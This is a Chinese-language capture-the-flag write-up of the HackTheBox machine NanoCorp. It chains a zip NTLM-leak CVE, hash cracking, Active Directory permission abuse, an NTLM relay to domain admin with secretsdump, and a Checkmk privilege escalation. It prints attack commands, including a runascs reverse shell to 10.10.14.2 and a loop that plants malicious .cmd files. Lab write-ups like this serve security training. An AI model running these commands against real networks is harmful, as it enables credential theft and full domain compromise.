基本信息
- https://app.hackthebox.com/machines/NanoCorp
- 10.10.11.93
端口扫描
80和常规windows 域端口:
1 | nmap -sC -sV -Pn 10.10.11.93 |
80
需要加hosts:
1 | 10.10.11.93 nanocorp.htb |
一个公司官网:
hire
About us里有应聘界面,是hire子域名,添加hosts后访问就是个上传简历页面,只能上传zip:
CVE-2025-24071
搜索可以找到比较新的windows zip相关漏洞:
- 0x6rss/CVE-2025-24071_PoC: CVE-2025-24071: NTLM Hash Leak via RAR/ZIP Extraction and .library-ms File
https://github.com/0x6rss/CVE-2025-24071_PoC
1 | sudo python3 Responder.py -i 10.10.14.2 -v |
生成恶意zip,上传,得到web_svc访问:
常规破解出密码:
1 | sudo hashcat -m 5600 hash.txt ~/Tools/dict/rockyou.txt |
bloodhound
现在有了一个账号后就先常规bloodhound收集分析:
1 | sudo sntp -sS 10.10.11.93 |
可以看到一条很明显的路径,web_svc到IT_SUPPORT组的AddSelf,然后IT_SUPPORT对MONITORING_SVC有ForceChangePassword,MONITORING_SVC又在remote management里,可以winrm登录:
web_svc to monitoring_svc
所以就是按照上面的路径一步步来,首先添加自己到IT_SUPPORT组:
1 | bloodyAD --host dc01.nanocorp.htb -d nanocorp.htb -u 'web_svc' -p 'dksehdgh712!@#' -k add groupMember IT_SUPPORT web_svc |
然后强制修改monitoring_svc密码:
1 | bloodyAD --host dc01.nanocorp.htb -d nanocorp.htb -u 'web_svc' -p 'dksehdgh712!@#' -k set password monitoring_svc 'Miao@123' |
user flag
修改完密码后winrm登录monitoring_svc:
1 | python3 winrmexec.py -ssl -port 5986 NANOCORP.HTB/monitoring_svc:'Miao@123'@dc01.nanocorp.htb -k |
非预期 Relay to root
因为web_svc可以成为IT_SUPPORT成员,IT_SUPPORT可以添加dns记录,所以就可以直接relay:
- NTLM reflection is dead, long live NTLM reflection! – An in-depth
https://www.synacktiv.com/en/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025 - dirkjanm/krbrelayx: Kerberos relaying and unconstrained delegation abuse toolkit
https://github.com/dirkjanm/krbrelayx
1 | 添加dns |
hashdump
然后直接把web_svc加到domain admins,dump:
1 | python3 examples/secretsdump.py 'nanocorp.htb/WEB_SVC':'dksehdgh712!@#'@dc01.nanocorp.htb -just-dc-ntlm |
预期 check_mk
常规枚举可以在发现check_mk service,2.1版本,存在已知漏洞:
- 💀 Exploit for Checkmk Agent 2.0.0 / 2.1.0 / 2.2.0 Local Privilege Escalation CVE-2024-06070 CVE-2024-0670
https://sploitus.com/exploit?id=PACKETSTORM:177606
大概就是每次启动修复程序都会运行在和PID相关的一个目录中的cmd文件,而这个目录我们可写
但服务器有杀软,所以需要自己制作运行的文件:
- C++ Reverse Shell with WinSockets | by S12 - 0x12Dark Development | Medium
https://medium.com/@s12deff/c-reverse-shell-with-winsockets-c13821371d40
以及修复程序的PID范围,文章中是10000-30000,但在这台机器上多次测试是在10000以内
另外C:\windows\temp目录也是,需要runas切到web_svc账号去访问,monitoring_svc无权限
1 | .\runascs.exe web_svc "dksehdgh712!@#" powershell -r 10.10.14.2:4445 |
然后就在所有可能的位置释放恶意文件,执行修复程序触发即可:
1 | 0..10000 | ? { $_ % 4 -eq 0 } | foreach {Set-Content -Path C:\Windows\Temp\cmk_all_${_}_1.cmd -Value "\windows\temp\shell.exe" -Encoding Default -Force;Set-ItemProperty -path C:\Windows\Temp\cmk_all_${_}_1.cmd -name IsReadOnly -value $true;} |
参考资料
- 0x6rss/CVE-2025-24071_PoC: CVE-2025-24071: NTLM Hash Leak via RAR/ZIP Extraction and .library-ms File
https://github.com/0x6rss/CVE-2025-24071_PoC - NTLM reflection is dead, long live NTLM reflection! – An in-depth
https://www.synacktiv.com/en/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025 - dirkjanm/krbrelayx: Kerberos relaying and unconstrained delegation abuse toolkit
https://github.com/dirkjanm/krbrelayx - 💀 Exploit for Checkmk Agent 2.0.0 / 2.1.0 / 2.2.0 Local Privilege Escalation CVE-2024-06070 CVE-2024-0670
https://sploitus.com/exploit?id=PACKETSTORM:177606 - C++ Reverse Shell with WinSockets | by S12 - 0x12Dark Development | Medium
https://medium.com/@s12deff/c-reverse-shell-with-winsockets-c13821371d40 - HackTheBox - Machine - NanoCorp - Mane’s Blog
https://manesec.github.io/2025/11/10/2025/74-hackthebox-NanoCorp/